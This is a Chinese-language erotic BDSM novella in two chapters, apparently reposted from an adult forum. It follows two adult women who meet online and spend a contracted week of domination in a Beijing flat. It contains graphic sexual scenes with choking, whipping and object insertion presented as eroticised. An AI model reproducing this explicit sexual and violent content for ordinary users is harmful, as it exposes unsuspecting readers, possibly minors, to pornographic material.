图片载入中

七夜禁书

特大字】 【大字】 【中字】 【小字

七夜禁书(1-3)

作者:不详 来源于sis

*********************************** 编者注:

sm最简单的说法就是性虐待。

s就是sadism,中文音译为撒德(sado),翻译为施虐。

m就是masochism,中文音译为马索克,翻译为受虐。

萨德,法国人,现代“厄运作家”的先驱,sadism(施虐)就是由他 的名字而来,他蹲过巴士底狱的大牢,作品关注人类尴尬的欲望和人性的困境。 《萨德文集》要看原版,中国出版方去掉很多有意思的东西。 ***********************************

第一章月曜篇

2006年10月1日,我不顾黄金周机票加价,早晨九点多就上了南航的 飞机,随身带的是一只耐克的双肩背,里面除了2套换洗衣服,还有2条绳子、 3条长短不一的丝巾。过深圳机场临检时,我紧张的手心冒汗,害怕坐在x光机 后面的机场工作人员突然要我打开背包,拎出两条绳子追问我想干什么。

这两条绳子是我在网上成人用品商店订购来的,最新款式,手工精巧,柔软 的棉质里掺杂着粗麻,如今一黑一白的躺在背包角落。收到这两条绳子时,我不 由自主的幻想起它们勒进茹眉皮肤里的情景,那种柔中带刺的磨砺,将如何反映 在她的脸上。我和茹眉是七月认识的,在网上的碧聊室里。我是个固执的人,上 语音聊天室还坚持用打字聊天,因为我认为如果用语音聊天,那么就失去网聊的 意义,还真不如打电话来的痛快,所以我在那里很不受欢迎,尽管我为自己精心 起了个名字——炽天使。

我今年30岁了,有一份看似体面的工作,白天我是勤劳的蜜蜂,晚上我是 蛰人的蝎子。

碧聊里有两个地方我经常光临,一个拉子聚集的《女人的天空》,一个是s m聚集的《大院故事》。我想大家应该已从我的描述中看出点什么来了,是的, 我既是个拉拉,又是个sm爱好者,这的确是件非常令人烦恼的事情,就象一条 道越走越窄的道路那样,可供我选择的生活方式实在少之又少。

茹眉第一次让我留意她就是在《大院故事》里,那时她正在和一个男会员在 吵架,由于他们两个都没有打开私聊,吵架的内容就清清楚楚的显示在大屏幕 上。到如今他们吵架的具体话语,我早已经忘记了,但是大概内容我还记得,那 个id叫茹眉的女人,正在控诉大院里的男人都是假sm,真色情狂,想要的仅 仅是性爱。

我一声不吭的看着她发出的一行行尖锐文字,直到她平静下来。

我用私聊悄悄问她:你好,是女m吗?

半响,她才很冲的回答道:是又怎么样!你是不是和刚才的贱男人一样,一 开口就想做爱!

我心想这个女人还真拽,完全不象其他女m一样充满奴性,一开口就是一副 柔顺乖巧的小样,估计在现实里也不是个好对付的女人,不如乘早别招惹了。想 到这里我恶狠狠的打下:小姐,首都我不是什么贱男人,我是女人,其次我对脾 气这么大的女m没有兴趣,你就是脱光了让我上我都不会上!

我与茹眉就这样认识了,在彼此的怄气中。由于刚认识就斗过嘴,所以我就 特别留意她,渐渐的,我感觉茹眉的脾气并非我想象的那样差,她之所以那么特 别,完全是她过于聪明,经常在聊天室里一眼就分辨出那些是真正的sm,那些 是只想混进来想免费做爱的贱种,然后忍不住去刻薄这些挑逗她的贱种。其实这 两者之间有什么区别呢?我经常问自己,难道通过一些sm行为仪式以后再做爱 就会纯洁吗?我看待事物往往很简单,变成一个拉拉是我天生的缩命,虐爱别人 能够给我带来心理和身体的快感,所以我同时成为了这两类人,至于其他日常行 为,我自问和常人没有不同,而这两种与生俱来的天性,恰恰都和性有关,如果 我一定要刨根问底的去弄清楚些什么,最终的结果只会让我更混乱。

有天晚上,我加夜班回到家,已是深夜1点了,我习惯性的打开电脑,登陆 了碧聊,发现那晚大院里的人特别少,而茹眉正安静的挂在那里,我想了想,忍 不住向她问了句:聊聊吗?

话匣子一旦打开,我与茹眉之间突然变的融洽起来,聊到八月底时,我问她 愿不愿意接受女主调教。她说她没有和女人试过。我很煽动性的说:女人比男人 更严厉。

在我把自己照片发给茹眉以后,茹眉给了我她的手机号码,我想也许是我很 t的外表打动了她,其实一个纯t和一个男人的区别就象两个统一包装的礼物 盒,如果不打开,你不会发现里面有什么不同。

有了茹眉的手机号码以后,我经常通过手机向茹眉下达指令,要她履行做m 的责任,这些命令也许是我在上班时突如奇来的想法,我会问她今天穿了什么衣 服,如果她说穿了裙子,我会说你现在去洗手间把内裤脱了,没有我同意前,你 不能穿回去。

她会在电话那天好一会不出声,然后说:“我正在上课。”我对她的回答沉 默不语,表示不满,她只好小声说:“好的。”

由于茹眉在北京工作,而我在深圳,我不清楚她有没有按我的指令去做,但 是每当她小声回答说“好的”时,我心里不由升起一种莫名的快感。茹眉的职业 是音乐老师,说话声音非常动听,为了延伸对她的想象,我故意没有要她的照 片,到了九月中,我们相约利用十一长假在北京见面,在去前,我让她做了很多 准备工作,并签下了一份《主奴契约》,契约里注明:在7天长假内,她身体无 条件完全属于我,她的意愿无条件服从我的喜好。虽然这种契约在外人眼里看起 来有点搞笑,但是如果你是个s或者m的话,就会明白这个约定的分量。在这七 天里,我可以为所欲为的对茹眉实现所有地狱般的幻想,无论她能不能承受我的 方式都只能默默接受,这等于是把一个大活人完全交到你手里,任你斩割,这种 极度信任是普通人之间无法拥有的。

有了这份契约,我每天无心工作,一直熬到坐上开往北京的飞机,飞机起飞 后,我突然后悔起来,责怪自己为什么不事先看下她的照片,万一她长的很恶 心,那我怎么办!

我身为拉拉的那一部分思维开始作怪,在半空中折磨着我,直到我降落在北 京机场。

当茹眉边打电话边向我迎面走来时,我忐忑的心终于落了地。她挂上手机, 有点腼腆的问我:“你是天使?”

我点点头。

眼前的茹眉卷曲的长发披散在肩上,比她告诉我的年龄33岁看上去要小很 多,骨感的手臂上挽了一只时尚的簪珠小包,米色的薄风衣拉的她越发修长,露 出里面的连衣长裙,穿了高跟鞋的她大概有1米68高,几乎和我一般高矮,瓜 子脸,小巧的嘴唇旁边有颗淡淡的红痔,眼睛明亮的象滴出水来。我突然心虚起 来,虽然过去在深圳也和几个女m玩过,但是象茹眉这么漂亮兼有女人味的m还 是第一次看见,我甚至在内心暗暗帮她可惜,因为我认定有如此清澈眼睛的女 人,应该拥有阳光般的生活,而不是变成我这样的地下工作者,在阴暗里苟且 着。

我镇定了一下,想到自己身为主人的责任,如果一开始就对她产生如许多的 好感,那接下来的几天,我和她难道天天手挽手去逛商场吗?既然一切是我们自 己一手安排好的,那么她期待的肯定不是甜蜜的相处时光,在她心里,也许我早 被定型为一个百毒不侵心狠无比的虐待狂,而她等待的正是我严酷无情的折磨, 我又怎么好让她的、也是我自己的希望落空。想到这里我的心变得坚硬无比,我 是个崇尚专业的人,即使作为一个sm也同样如此。我冷冷的扫了她一眼点点 头,以表示我就是。

她盯了我一会,有点手足无措的样子,我也不说话,就这样站在候机厅的人 流中,终于,她小声而恭敬的对我说:“主人,请跟我来。”

茹眉的生活条件非常优越,出身革命家庭,几里人几乎个个是干部,她自己 也是一座着名音乐院校的讲师,如果不是因为她的特殊爱好,我想她肯定不会和 我这种看上去象街头混混一样的les打交道,即使相遇了,也会在背后骂我是 变态。茹眉有过一次婚姻,这点我们在网上已经聊过了,但是她没有多说她那次 婚姻结束的原因,仅仅是轻描淡写的告诉我,她和丈夫是一个干部大院里长大 的,他们有个6岁的女儿叫敏敏,3年前他们离婚了,丈夫在离婚后飞快的再 婚。

说实话,我对她家庭的琐碎没有太大兴趣,象我们这样的关系,本身就象浮 萍一样,交汇而过,没有结果,问多了也没有什么意义。但是此刻坐在她旁边的 我,倒是对她身体很感兴趣。我看着正在在驾驶座上开车的茹眉,命令她说: “把腿打开。”

她啊了一声,扭头看了我一眼又转过脸去盯着路面,象下定决心般慢慢打开 了双腿,我伸过手去拨开她的风衣下摆,撩起她的长裙,光滑的缎子裙边在我手 上擦过,让我有一种撕裂它的欲望。当我的手指触到她的大腿时,她的身体紧 缩了一下,双腿条件反射般的想并拢,我忙把手卡在她两腿之间命令说:“别 动!”

这种极端强迫的口吻让她的神经松驰下来,她应该明白,在这七天里,我就 是她单一无二的神,也是她自己的选择。

我在把手往上移,按在她的阴部,轻描淡写的感觉她阴毛的形状和浓密,还 恶毒在大腿上拧了她一下作为奖励,我心满意足的抽出手说:“很好,你果然按 我们的约定做了。”

她的脸微微一红,按契约所写的那样回答说:“谢谢主人夸奖。”

这种对话方式仿佛是一场情景喜剧,可笑到滑稽,但是这是她唯一能回答我 的话,按照sm的规则,s不说话,m就不能随便说话,但是s若问了话,m就 必须回答,而且一定要回答的很谦卑,以一种讨s欢心的方式,这就是千古不变 的主奴契约,除非有天人类消灭了阶级,否则你依旧会在许多人身上发现这些奴 性和霸道。

茹眉的车子是辆本田雅阁,纯黑色,车厢很宽大,不是特别合适女人开,但 是偏偏她就开的风姿摇弋。我曾经在北京呆过一年,所以对北京的道路有些熟 悉,看她的车往西直门开,最后停在西苑饭店的后面的一个小区,不由担心起 来,这个地段太过热闹,如果一个不谨慎,很容易被邻居发现些什么。

茹眉敏锐的感到了我的担心,一边锁车门,一边告诉我说这里的房子是她前 年买的二手房,没有人知道她在这里有套房子,自己难得来住,也不认识什么邻 居。

我想这就是所谓有钱人的秘密行宫吧,估计这个女人在和老公离婚时,没少 分到财产,sm也不是随便什么人都能玩的起。

我象茹眉的影子,跟在她身后,一前一后进了小区,也许是我一身名牌运动 服和一张蛮唬人的严肃脸,进小区时保安连问都没问我一下。这是个九十年代中 造的小区,在北京象这种地段的小区物业几乎是天价,茹眉住的那栋楼有12 层,看的出来,这里住的都是有钱人,由于靠西苑饭店很近,很多驻外办事处的 老外也租住在这里,一路过来,奥迪、奔驰、宝马,还有些我叫不出名字的好车 停的到处都是。

我想有钱人最大的特点是防备心强吧,一个没有钱的人基本上不用防备别 人,因为他没有什么值得别人盘算的,但是有了钱就不同了,也许在有钱人眼 里,满世界都是小偷骗子强盗,所以基本上有钱人和别人都保持一定的距离,而 这些距离正是茹眉和我需要的,唯有在互相漠不关心的富人区,我们才能安全的 完全仪式。

所以我的一切担心都是多余的,这些乱七八糟的担心加上旅行的颠簸让我非 常疲惫,我只想赶快进房间休息一下,另外我的肚子也有点饿的抗不住了,于是 我加快脚步,紧随茹眉坐电梯到了11楼。

茹眉的富裕超过了我的想象,这套位于11楼的房子竟然是套复式楼,一开 门,我就看见客厅侧面的梨花木扶手楼梯,同样深梨花木装修的地板让房间里显 的阴沉沉的,空旷的客厅中央摆了台巨大的三角钢琴,鬼知道当创茹眉是怎么把 它弄进房间的。客厅的南侧放了一件三套的沙发,浅灰色的真皮面,价格不菲。 没有电视机,没有餐桌,唯一可以放东西的地方只有一张玻璃茶机,最令我影响 深刻的还是客厅中央的那张巨大地毯,覆盖了客厅一大半的地面。我不清楚它是 不是波斯制造的,但是它毛茸茸的柔软,撩起我许多非分之想,我想把茹眉按倒 在这张地毯上,蹂躏她,恶狠狠的质问她为什么这么奢侈,难道她不知道奢侈是 种罪!

当我站在门廊那里胡思乱想时,茹眉轻轻关上门,把挂在手臂上的小包放在 门廊的壁橱上,又脱了风衣挂好,接着蹲在地上,解开我的鞋带帮我脱鞋,我用 手抚了一下她的头发,心想其实做个s还真不错,有人抢着伺候,并且心安理 得。

茹眉帮我换好拖鞋,站起来问我:“你需要休息会吗?”

她优美的脖子在我鼻子底下透出阵阵体香,令我暴躁起来,我突然掐住她脖 子,把她推在墙上苛责说:“你不知道这里只有我可以问问题吗?而且你竟然不 在说话时尊称我为主人,你这个贱骨头!”

我刻薄的语言顿时让她无从适从,这种突如其来的羞辱,冷不防击中了她, 让她的眼睫毛也因恐惧而慌张的垂下,如同一只受到惊吓的兔子,我松开了手, 把她丢在门廊那里,走到沙发前舒服的半躺下,把脚搁在茶机上。

坐了十分钟以后,我发现她依旧贴着墙站在门廊那里,一动不敢动,才吩咐 她说:“你现在可以过来了,下次再犯同样的错误,你会受到严厉的惩罚,当 然,我很希望你犯错,因为我就是为了惩罚你而来的,现在我教你做第一条事, 去给我拿点喝的来。”

在茹眉去厨房拿饮料的同时,我又仔细打量了一下房子,发现这原本是套三 房二厅,也不知道是茹眉还是原来的业主,把房间全部打掉改成客厅,只留了一 个厨房和洗手间,厨房用的是全透明玻璃门,我可以清楚的看见茹眉在一个巨大 的冰箱里给我拿饮料,按我们的约定,这七天我们不会上街,唯一呆的地方就是 茹眉的这套房子,直到我离开北京,所以这台大冰箱里一定储藏了许多食品。

磨蹭了半天,茹眉依旧没有从厨房出来,我不耐烦大声把她叫出厨房,坐在 沙发上注视着慌乱的她,慢慢站起来走到她背后,猛一下从后面抓住她头发,把 她拉到我胸前,她仿佛被一支猎枪顶住了嵴梁,浑身僵硬,急促唿吸声象钉子一 样钉进我的耳朵。我轻轻在她耳边羞辱她,说她是个什么也不会做的废物小姐, 是个下贱坯子。她哭了出来,双肩抖动着,我忍不住咬住她的耳垂,舌尖在轮廓 上舔过,她耳朵滚烫,心脏跳的飞快,脖子潮红一片。我不想承认我被她的美诱 惑了,用脚踩在她的腿弯里,按着她跪在地毯上。我克制住满脑子把她扒光了狠 狠糟蹋她的冲动,因为我知道她还没有被彻底征服,我有的是时间,不急在一 时,我放开了她,任由她跪在那里抽泣。

等我平静之后,想起了我和她之间的契约,那就是只允许我问问题她回答, 并且她对我的责备不准作任何申辩。由于我一开始没有问她冰箱里有什么饮料, 所以她没有办法拿给我,也不能主动问我喝哪种饮料,这是违反契约的行为,当 我喝不到饮料责备她时,她又不能帮自己辩解,所以她只有默默承受我的恶言恶 语,这真是一个绝妙的怪圈,如同二十二条军规,想来在这七天里,她想不犯错 都很难。

但是我没有料到的是在网络上和男人们吵架的茹眉在现实里如此柔顺,反差 巨大,让我想好的种种刁难反而不能倾巢而出。

我停止了惩罚,问她:“冰箱里有什么饮料?”

她跪在那里抬起头,湿润的眼睛里有种被了解的感激。

“有冰咖啡、绿茶、橙汁、矿泉水、啤酒,主人。”

“绿茶吧,顺便给我弄点吃的,简单点,随便什么都可以,不要再来问 我!”我看她还跪在那里不敢动,就说:“你可以起来了。”

茹眉对我的吩咐一一照办,吃完一碗加了煎旦的公仔面,我暗暗赞叹茹眉下 厨的手艺,看来这趟北京没白来,但是我脸上没有露出任何表情,赞扬在sm中 是禁忌,说多了就没有意思了。

等茹眉洗好碗,我说我想洗澡休息,她把我领到楼上的主卧,卧室里放了张 2米的大床,床架是不锈钢雕花的,可以把任何一个身型的人绑在床架上,一个 四开门的衣柜对着大床,衣柜上镶着镜子,清楚的反射出床上的任何活动。我打 开衣柜,里面挂的衣服不多,看来茹眉真的很少来这里住,从背包里取出绳子和 丝巾,挂在柜子里,在挂绳子时,我偷看了一下茹眉的表情,很显然,她的瞳孔 突然放大了一下,真是个不折不扣的m。

当我取了换洗衣服走进浴室后,我才发现茹眉跟了进来,我问她:“你进来 干什么?”

她不解的说:“伺候主人您洗澡。”

她的话让我愣了好一会,我那该死的tt情节又开始作怪,身为一个t,我 实在是没有办法在一个女人面前坦然洗澡,更别提她要伺候我!但是身为m的思 维又让我没有办法拒绝一个女奴伺候自己,如果不坦然,那么主人的身份就会大 打折扣,因为自己过去的sm行为都过于仓促,所以从来没有遇到要在一起洗澡 的情况。

我一咬牙,故作镇定的说:“你想的还真周到!”

也许这是我这辈子洗过最紧张的澡,在等水放满大浴缸的时候,我的手心不 停出汗,水满以后,茹眉试了试水温就走过来帮我脱衣服,我按住她手说:“你 回来以后还没有换衣服,先出去换件在家穿的衣服再进来。”等她一出浴室,我 飞快的把衣服脱了跳进浴缸里,又在水里倒上许多浴液,搅浑了一缸水以后才舒 服的靠在浴缸沿上,我想就是视力再好也不可能看清楚我浸在泡泡下的身体。

茹眉再进来时,已经换了一条睡裙,白色纯棉的,长度才到膝盖,腰上系了 条同色腰带,勾勒出她曲线玲珑的身材,她跪坐在浴缸前,姿势优美,仿佛是个 落难的皇后。我把后背移向她,她用擦背毛巾轻柔的为我拭背,修长的指骨让我 不能自已。水花溅出,淋潮了她的睡裙,一双白鸽一样的乳房似要破衣而出,随 风飞翔,我身不由己的扳过她的头,狠狠的亲吻她,把她拖进浴缸里,她在我的 手心里仿佛化成了一滩水。我黑色的心灵占据了我全部的欲望,我没有办法不激 烈的对她,当睡衣从她身上除去后,我却看见她细腻的胸腹间有浅浅的鞭痕,妒 忌让我的动作坚硬起来,从爱抚变成了蹂躏,我捏着她的一只乳房问她:“你身 上怎么弄的?”

她表情痛苦的回答我说:“三天前在俱乐部弄的,主人。”

我怒不可竭的骂她道:“你真是贱的可以,明知道我就要来,还忍不住要出 去找抽,是不是那个抽你的男人让你感觉很带劲。”

我手上的力道又增加了一分,她痛的流出了眼泪,我嘲笑她说:“这样就受 不了了,难受的还在后面,如果你现在就受不了了,我马上可以离开。”

她听到我说要走,强忍着眼泪,也顾不得违反契约,急切的说:“不要走, 我会听你的,随便你怎么样都可以,但是请不要走。”

她拉着我的手亲吻着,恳求我不要离开,她的眼泪滴落在我手上,她抽泣着 说:“我等你来等的很难受,所以才去了俱乐部。”

我心里一阵感动,抱住她,拍着她的背安慰说:“好了,乖,我不走。”

她紧紧抱住我,仿佛我是她的救命稻草一样,象孩子般依恋,她把头靠在我 肩膀上说:“主人,我喜欢你,你长比照片上的样子还好看。”

我的脸腾的红了下,因为不经意中,我那对该死的乳房已经和她的乳房贴在 了一起。

好不容易洗完了澡,换上黑色的睡衣睡裤,从衣柜的镜子里打量去,自己的 确有点玉树临风的味道,只可惜天生一副冷酷的表情,单薄的嘴唇经常抿成一条 缝,原本很清秀的脸,由于眉间竖了两道法令纹,立时显得难于接近,难怪单位 里的人在背后都叫我杀手。

我不清楚人是不是都是相由心生,但是依我的长相和我的嗜好判断,我绝对 属于相由心生的那种。

也许是在水里泡的时间太久,我的瞌睡一下就上来了,我也不管茹眉怎么安 排她自己,爬上那张大床就躺下了,扔下还站在床边的茹眉,不到三分钟就进入 了梦乡。半夜醒来,发现茹眉没有躺在我身边,打开台灯才看见她躺在床边的地 毯上睡着了,北京十月的夜晚已有凉意,她的身体蜷缩成一团,单薄的肩膀微微 起伏着,浓密的头发遮住了她的脸,我有一种想去了解她的冲动,但是我什么也 不能问,仅仅探下身子推醒她,把她拉上床,将她冰凉的身体拥进我的怀里,让 她渐渐温暖起。她清醒了过来,眼睛很亮的看着我,任由我的手在她身上不经意 的抚摸着,然后与我一起进入了梦乡。

第二章火曜篇

第一次见到炽天使的照片时,我心跳停顿了一下,那种感觉就象从过山车顶 上猛的冲下来,世界为之失重了。

不要以为我被天使的样貌震住了,尽管我承认,天使长的很可人,已是30 岁了的女人了,却还象个少年般纤秀,这种阴阳兼顾的气质,也许在径渭分明的 世界里最是难能可贵。漂亮的人漂亮的东西我见多了,但是漂亮有时就如清风拂 面般,过去了,往往了无痕迹,倒是有些尘土般的俗人,沾上了便难以消除。

许多年了,我以为自己已经忘记了这个人,包括与这个人全部有关的事,可 惜记忆经常象只不牢靠的密封盒,一不小心就会露出了里面的物件,而这次打开 我盒子的人,就是这个叫炽天使的les。世界上有许多长的相似的人,但是表 情和眼神却失之千里,即使是双胞胎,他们望向世界的眼睛,也总是闪烁着不同 的光芒,所以我一直认定,世界上每个人都拥有一个绝无仅有的灵魂,每个人都 是不同的,但是当我盯着屏幕上的这张照片,我的理论崩溃了,曾经的那个离开 的灵魂仿佛就寄居在炽天使的眼睛里,默默的注视着我,眼神里是久违不见的冷 漠。我失去了思考的能力,我只想面对面的再次感受被它注视的尖锐,那种痛并 快乐着的残酷。

从天使出现在我面前到她豪不留情的羞辱我,我的脑子都是懵懵懂懂的,自 己幻想和渴望了很多遍的感觉一直在半空中盘旋,却始终不肯降落在我身上。我 象个丝毫不敢违背剧本的拙劣演员,既努力又不投入的表演着一个奴隶的角色, 但是我想要的却迟迟不来,如果再这样下去,我不清楚自己还能坚持多久。

过去,我与一些人的sm游戏,也因与自己的感觉背道而驰最终不得不提前 结束,在北京的sm圈子里,许多人在背后说我是个怪胎,还有更难听的骂我既 想做婊子又想立牌坊,在他们心里,只要是女m,有人打她,有人骂她,就应该 感激不尽,而不是象我那样,在所谓的关键时刻,突然翻脸无情,从一个女奴变 成一个女王。我不清楚自己翻脸时可不可怕,但是我的学生们给我起了个外号— —冰雪女王,他们说夏老师你板脸时的样子真是很冷。

无所谓吧,也许这个叫炽天使的女孩子并非是我的想象,就如同长翅膀的不 一定是天使,苍蝇和蚊子也有一对翅膀。

有句老话说的对,不是不报,时辰未到,期待有时也是一样,想它来时,它 不来敲门,不想它来时,它已经在屋里了。半夜里,一只温暖的手把我从睡梦中 推醒,霸道的把我拖进她的怀里,那种生俱来的冰冷遇到了火般的滚烫,一瞬 间,世界再次失去重量。我静静的看着天使,睡意未除的她象个落泊的贵族子 弟,天生的傲然和街头遗留给她的痕迹交叠在一起,奇异的融洽。她微皱眉头, 皮肤苍白,嘴唇紧抿着,而我象她最心爱的玩具似的,紧紧抱住,随意抚摩,生 怕别人夺去。

在我和她未见面前,我误以为天使是个绝对冷酷的女主,因她经常在电脑上 对我说些狠话,撩拨起我内心深处那些原始的底贱欲望。见着了,才发现她生就 有种让人怜惜的孩子气,即便发狠时,也仿佛是在和这个世界的每个人赌气。通 过第一天的接触,我体验到了一个女主与男主之间的强烈区别,那种由细腻引发 的双重羞耻是男主无法给予的。很多女s在网络上发表文章,阐述奴与主之间和 谐的游戏过程,认为这才是sm的最高境界。而我却有自己的看法,如果彼此配 合的太好,做奴的了解做主的每一个行动步骤,基本上就失去了sm的乐趣,唯 有未知,才让人恐惧,这也是我所期待的,感受一个想完全占有我的人亲手把我 推进未知的深渊,然后用我的无助和绝望,激起她的怜悯,拯救或更彻底的遗弃 我。

当然,也许还有更深层的东西存在,那是我不曾达到的高度,也许有天我终 会揭开这最后一章,明白sm的真谛。

天使来之前,就给过我未知的快感。有天夜里,我才洗完澡躺上床,天使的 电话就打了进来,她如往常般直截了当的问我:“你穿了什么?”

“主人,我穿的是睡裙,黑色丝绸,带蕾丝花边。”我依惯例回答她。

“马上把你的手机调到震机状态。”她的命令让我愣了一下,虽然我想象不 出她想做什么,但是我依旧照做了。

“调好了主人。”

“脱掉你的底裤,把你的手机放在你两腿中间,贴在你的下面,现在马上开 始!”

她霸道又富有煽动的话让我失去了反抗的能力,我想完全被动也是一种幸福 吧,不用思考什么,不用难为情,只须按照她说的去做。我关上手机,把它塞进 内裤里,冰凉的金属盖子激的我腿上起了一层痱子,柔软的私密和尖锐的钢铁不 可思意的冲突着,令我心跳加速,我预感到她究竟想做什么,在事情正式开始 前,那种短暂的等待竟然变的比一天还漫长,时间仿佛失去了流动,我的全部思 维都被贴在私处的手机操控了。

终于,它开始震动,催促我的心跳,我在情欲挣扎中幻想天使冷漠的表情, 仿佛她的目光刺穿一切,扎进我身体深处。我呻吟起来,那是无法控制的表达, 但是正当我要跨过那条界线时,震动停止了,我一下从天空滑落进深渊。天啊, 那是一种比残酷更深入的空虚,电话那头的人如同潜行在黑暗里的地狱天使,她 既要你生,又要你死,让你无所适从。还没等我从空虚中走出,手机又开始震动 起来,为了把握太过短暂的欢娱时间,我放弃了羞耻之心,努力迎合它的节奏, 但是它总是不在我掌握的范围内,反反复复,撩拨着我脆弱的神经。终于,她象 计算到我欲望的终点似的,停止了撩拨,心理和生理上的双重无助感让我化作喷 勃而出的快乐,强烈而绵长,湿润了金属。

由抱怨到感激,从反抗到崇拜,10分钟,天使让我跨越了极致。

早晨醒来,发现天使已经离开了房间,挑了件白底紫罗兰碎花的日式睡袍, 本应先在里面穿套内衣,但是想想搞不好会被天使刁难,就直接赤裸裸的穿上睡 泡,系好带子,又进去浴室里洗完脸刷完牙。梳头时,发现脖子上有道被指甲划 破的红印,忍不住轻轻用手去摸它,一下想到昨天被天使顶在墙上的感觉,我的 心马上无力了起来。果然,女人的特别容易给女人留下痕迹,指甲、吻痕、口红 ……甚至一个不经意的拥抱,别针就会钉进肉里。

还记起天使来前让我在春水堂订购的工具,她说拿了这些东西不好上飞机, 由我在北京落订。看到单子那下子,我的脸一阵阵发烧,联想起每样工具会给自 己的身体和心灵都下的烙印,恨不得告诉她,我国庆要加班,你下次再来吧。但 是始终什么也没有说,只乖乖的照办了,因为期待她的心情已经超过了恐惧,让 我无力再作反抗。

不知道今天我遭遇什么?我胡思乱想着出了卧室,象只猫一样蹑手蹑脚的走 下楼,看见天使正坐在钢琴前,开着琴盖,凌空用手指在那里假装弹琴,后背还 还一耸一耸着,一副投入无比的样子,她这套孩子气的把戏让我忍不住噗嗤笑出 声来,然后就见她僵在那里,回过头愤怒的看着我,仿佛一个被激怒的暴君。我 心知自己的末日要来了,失魂落魄的走过去,跪伏在她的脚边。她果然没有放过 我,冷笑着把我的脸扳起来,居高临下的盯住我的眼睛,恐惧象一只大手扼住我 的咽喉,我不知道她会给予我什么样的惩罚,偏偏我对这些惩罚还避无可避,我 慌乱的躲闪着她的目光,希望引起她的怜悯之心。

“你刚才在笑什么?”她突然微笑起来,但是她的眼睛里分别没有一丝笑 意。

我象被猎人抓住的猎物,连最后一点反抗的意识都失去了,只是抱住她的膝 头,求饶说:“主人,对不起,是我不好,惹您生气了,您就饶了我这次。”

“饶了你?”她冷哼了一声,不依不饶的说:“你大概忘记了身为一个女奴 应该怎么说话了吧。”

“是,主人,我马上就去拿。”我不再犹豫,讨价还价只会给我带来更大的 灾难。

我快步走上楼,走进卧室旁边的房间,在架子上取下一条马鞭子。按契约, 奴隶如果做错了事,唯一可以做的事情就是帮主人把鞭子拿来,我本以为在这七 天里,自己只需低眉顺首、百依百顺,她想拥有一个使鞭子的机会是难上加难, 没想到第二天就被她找了到借口。我手里拎着马鞭,忐忑不安的走下楼,每一步 都象踏在钉板上,那种绝望和无助再次把我彻底淹没。

马鞭散发出皮革的气味,短小结实,深色原木的手柄,越是新的味道越是浓 重。几股细细的皮条扭在一起,编成麻花辫的样式,若细一些,似极了许多追求 时尚的年轻男孩脖子里系着的黑色皮绳。天使对着空气示威性的挥动了一下马 鞭,嗖的一声,不由让我浑身一激灵。谁说被虐者不怕疼痛,平时自己哪怕割破 一丁点皮肤,都会疼上半天,也许正因为自己对疼痛特别敏感,才会产生出异样 的感觉,不由的沉浸在幻想里,妄想用它来消除身体的敏锐。

睡衣被脱了下来,她随手一扔,缩成一团萎顿在地毯上,紫色的碎花也象被 揉碎了似的,失去了颜色。我庆幸自己有先见之明,没有在里面睡衣里穿内衣, 不然又会被她找到加重惩罚的理由。

“你的皮肤真好。”天使用马鞭扫过我的后背,我一动不敢动的站在那里, 她说:“看不出来,你还生过孩子,身材一点没走样,不知道在这么漂亮的身体 上留下伤痕,会不会美的惊心动魄。”

虽然我很想求饶,但那是违反契约的行为,我只好抿紧嘴唇,期待第一鞭落 下来时我能抵御住疼痛,但是等了好一会,鞭子依旧没有落下来,天使似乎对我 平滑的小腹更感兴趣,她在身后抱住我,用鞭梢轻抚它,那种麻痒的感觉,撩拨 的我站立不稳,几乎是半躺着倒在她怀里。她把一只手伸进我两腿间,揉动我最 敏感的部分,我忍不住呻吟了一声,还没有等我从欢娱中清醒,鞭子已结实的抽 在我小腹上,我的呻吟马上变成了唿号,身体不由弯了下去,她用力把我的身体 扳回去,让我依旧靠在她的胸前。

鞭打伴随着挑逗,令我脆弱的神经快要崩裂,随着鞭痕的纵横交错,滚烫的 欲望从我下身荡漾开来,铺满全身,我的皮肤因冲动变成了红色,每根血管都象 要爆炸一样,她游离在我私密处的手指,让我有种在沙漠里行走多时又没有水喝 的饥渴,再也顾不上矜持和规则,对她说:“放……进去。”

她抚摸着那些鞭痕,目光迷离,似喝醉了般说:“很美,超出我的想象,但 是你的请求不够打动我,。”

我抵抗不了身体本能的唿唤,象个低俗的荡妇般求她说:“求主人把您的手 指插进去。”这句低级不堪的话,竟让我内心深处涌出一股莫名的快感,就象一 个暴露狂脱光了衣服在大街上行走一样,羞耻成为快乐的附加值,那种隐密的快 感,通过所有人指责和惊讶的目光,集中最原始的赤裸间。

天使显然被我这些下流话打动了,她不再挑剔我说话的语气够不够谦卑。我 感觉身体最滚烫的部分象一朵花儿似的被慢慢打开,正当我期待她灵活的手指长 驱直入,她却停止了动作,紧接着一阵轻微的刺痛一直顶到我身体深处,这个该 死的魔鬼,竟然把马鞭的手柄插进了我体内,我双腿一软,跪坐在地上,这次她 没有再用力扶住我,也似失却了力气般,随着跪在我身后。

天使伏在我的背上,从后面小心的抽动着马鞭,隔着衣服,我能感觉到女性 身体的线条,这种柔软是我在男性身上没有体验到的,激起了我又恨又怜的情 绪。

当空虚被赤裸填满,无论这种做法是否优雅,最终的结果都是一样,如同水 满则溢,不管杯子装的是清水还是浊水。其实人就是那么简单,复杂的,往往是 人自己制定的那些所谓限制,好象没有了这些限制,人就会活成其他动物。

我享受着越来越欢愉的动作,腹部被鞭打的疼痛在此刻变成了催情剂,我感 到天使也很快乐,她的欲望通过火热的鼻息缭绕在我耳边,从我两腿之间垂落在 地毯上的鞭梢,令屋里充满了奢靡的味道。

我放纵的叫着,按着原始的本能行事,我很想问天使你也快乐吗?

有如一曲交响乐,在高亢的尾音中嘎然而止,我筋疲力尽的倒在地毯上,天 使拔出湿淋淋的马鞭,扔在旁边,躺在旁边抱紧我,犹豫了会,终是在我肩上用 力亲吻了下。

激情过后是无尽疲惫,睡梦中,一个天使,在血色的天空飞翔,雪白的羽翼 迎风伸展,而我站在树林深处,赤裸裸的身躯被尖锐的蔷薇包裹住,稍微一动, 尖刺就会扎进皮肤。我无力摆脱禁锢,唯有抬起头看着自由的天使,如同站在地 狱中仰望天堂。突然,天使睁开了双眼,金色的瞳仁注视着我,她以一种附冲的 姿势向我飞来,跌落在蔷薇中,洁白的羽毛从她的翅膀上纷纷脱落,她痛苦的大 声嘶叫,抓紧我的手,用力把我拉向空中,蔷薇花儿恶毒的绽放,象恶魔的手一 样深深刺入我的身体,划下一条条悠长的血痕。终于,她拉着我飞到半空中,鲜 血从我们的伤口中汇聚在一起,滴落在沉默的大地上。大地裂开一道缝隙,里面 露出无数双冷漠的眼睛望着我们,他们集体审判说:“一个堕落天使!有罪,你 有罪!”

